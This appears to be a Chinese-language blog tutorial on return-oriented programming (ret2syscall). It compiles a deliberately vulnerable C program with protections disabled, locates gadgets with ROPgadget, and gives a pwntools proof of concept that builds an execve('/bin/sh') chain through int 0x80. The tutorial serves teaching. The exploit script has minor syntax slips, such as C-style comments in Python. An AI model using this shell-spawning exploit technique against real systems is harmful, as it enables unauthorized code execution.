ROP的全稱為Return-oriented programming(傳回導向程式設計),這是一種進階的記憶體攻擊技術,攻擊者掃描已有的動态連結庫和可執行檔案,提取出可以利用的指令片段(gadget),這些指令片段均以ret指令結尾,即用ret指令實作指令片段執行流的銜接,進而建構惡意代碼。可以用來繞過現代作業系統的各種通用防禦(比如記憶體不可執行和代碼簽名等)。
ret2syscall,即控制程式執行系統調用,擷取 shell。
接下來我們看一個示例,在read函數這裡會出現緩沖區溢出。
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/syscall.h>
void exploit()
{
system("/bin/sh");
}
void func()
{
char str[0x20];
read(0,str,0x50);
}
int main()
{
func();
return 0;
}
進行編譯
gcc -no-pie -fno-stack-protector -static -m32 -o 7.exe 7.c
-static :靜态編譯
檢視保護機制
這裡很奇怪,明明指令已經關閉了canary棧保護,可是這裡還是顯示開啟了棧保護,更奇怪的是這個并沒有影響溢出的結果。
定位溢出點(這裡簡寫了,可以檢視我之前的文章有專門講定位溢出點的方法和過程)
cyclic 100
cyclic -l laaa
結果是44
查找pop…ret以及/bin/sh和int 0x80的位址
隻要我們把對應擷取 shell 的系統調用的參數放到對應的寄存器中,那麼我們在執行 int 0x80 就可執行對應的系統調用。比如說這裡我們利用如下系統調用來擷取 shell
execve的系統調用号是0x0b
execve系統調用号賦給eax寄存器,将參數”/bin/sh”的位址指派給ebx寄存器,參數NULL,NULL指派給ecx和edx寄存器,觸發 0x80 号中斷
利用ROPgadget的工具查找eax ebx ecx edx的位址(即pop…ret的位址),以及/bin/sh和int 0x80的位址。即:
------ ---------------分割線---------------------
系統調用号,即 eax 應該為 0xb
第一個參數,即 ebx 應該指向 /bin/sh 的位址
第二個參數,即 ecx 應該為 0
第三個參數,即 edx 應該為 0
------ ---------------分割線---------------------
而我們如何控制這些寄存器的值 呢?這裡就需要使用 gadgets。比如說,現在棧頂是 10,那麼如果此時執行了 pop eax,那麼現在 eax 的值就為 10。但是我們并不能期待有一段連續的代碼可以同時控制對應的寄存器,是以我們需要一段一段控制,這也是我們在 gadgets 最後使用 ret 來再次控制程式執行流程的原因。具體尋找 gadgets 的方法,我們可以使用 ropgadgets 這個工具。
ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax"
ROPgadget --binary ./7.exe --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"
ROPgadget --binary ./7.exe --string "/bin/sh"
ROPgadget --binary ./7.exe --only "int"|grep "0x80"
poc
找到了位址之後就可以寫poc了!
from pwn import *
#context(arch="i386",os="linux")
p=process('./7.exe')
offset = 44
add_eax=p32(0x080aaa06) // pop eax ; ret 的位址
value_eax=p32(0xb) //eax的值是0xb
add_edx_ecx_ebx=p32(0x0806f711) pop edx;pop ecx; pop ebx ;ret 的位址
value_ebx=p32(0x080ae008) //ebx指向/bin/sh的位址
value_ecx=p32(0)
value_edx=p32(0)
add_int=p32(0x0804a3d2) //
payload =offset*'\x90'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int
#pid=proc.pidof(p)
#print pid
#pause()
p.sendline(payload)
p.interactive()
構造的payload為
payload =offset*'\x90'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int
成功!
參考文章:
https://blog.csdn.net/qq_44759495/article/details/89474281
https://www.cnblogs.com/ichunqiu/p/9288935.html